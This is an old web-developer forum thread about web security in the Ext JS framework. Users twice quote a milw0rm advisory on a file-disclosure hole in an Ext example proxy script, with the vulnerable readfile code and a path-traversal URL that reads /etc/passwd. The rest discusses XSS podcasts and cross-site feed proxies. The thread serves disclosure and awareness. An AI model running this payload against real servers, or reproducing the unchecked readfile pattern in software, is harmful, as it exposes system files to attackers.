Web app developers, think security !!

[jay@moduscreate.com]

If you have time, please listen to these podcasts!


http://www.grc.com/securitynow.htm

http://media.grc.com/sn/SN-085.mp3 -- Intro to code injection on the web
http://media.grc.com/sn/SN-086.mp3 -- XSS (Cross site scripting)
http://media.grc.com/sn/SN-087.mp3 -- SQL injection

[potdarko]

Thanks for the links. Jeremiah Grossman's book on XSS attacks is almost ready to hit the shelves. Hope RSnake does one too ... speaking of books.. how's the Ext book going? J/K

[potdarko]

Posted at www.milw0rm.com:

Alpha1 has a Remote File Disclosure. (by Alkomandoz Hacker)

In /examples/layout/feed-proxy.php

----------------------------------------------------------

header('Content-Type: text/xml');
readfile($feed);
return;
}
?>

----------------------------------------------------------

# Exploit:[Path_ext]/examples/layout/feed-proxy.php?feed=../../../../../../etc/passwd

[jay@moduscreate.com]

yeah, something to think about. good post.

[potdarko]

I hope rezn doesn't mind me quoting him here, but his post @ sla.ckers.org 's forum is... so true.

I just poked around myself here: [extjs.com] and I have to admit that the examples are really, really, nice. And it makes me happy that you all think forcing users to diasble JS is a ridiculous idea, cause having it around sure makes hacking more fun.

Extjs is loved by all, whatever the reason

[JeffHowden]

Posted at www.milw0rm.com:

Alpha1 has a Remote File Disclosure. (by Alkomandoz Hacker)

In /examples/layout/feed-proxy.php

----------------------------------------------------------

header('Content-Type: text/xml');
readfile($feed);
return;
}
?>

----------------------------------------------------------

# Exploit:[Path_ext]/examples/layout/feed-proxy.php?feed=../../../../../../etc/passwd

The server-side scripts provided are offered as a convenience, not as a indicator of how things should be done server-side.

[Herm]

You can now use the public proxy provided by the Google here http://code.google.com/apis/ajaxfeeds/. They say "The AJAX Feed API lets you download any public Atom or RSS feed using only JavaScript, so you can easily mash up feeds with your content and other APIs."

[jay@moduscreate.com]

that's insane.

it's open to too many things. I mean they're Bypassing XHR Restrictions to only allow data to be retrieved from the originating host.

[Herm]

You can do cross site as much as you want without anything else but Ext.Data.StriptTagProxy.

Google is safer though because as a developer you're saying (to the app you wrote and deployed to the client's browser): "hey, get my data from my server and my 3rd party data from the google server". As a developer, you're a) protecting your server infrastructure from being exploited and b)protecting your user by not having to send them to 3rd party sites.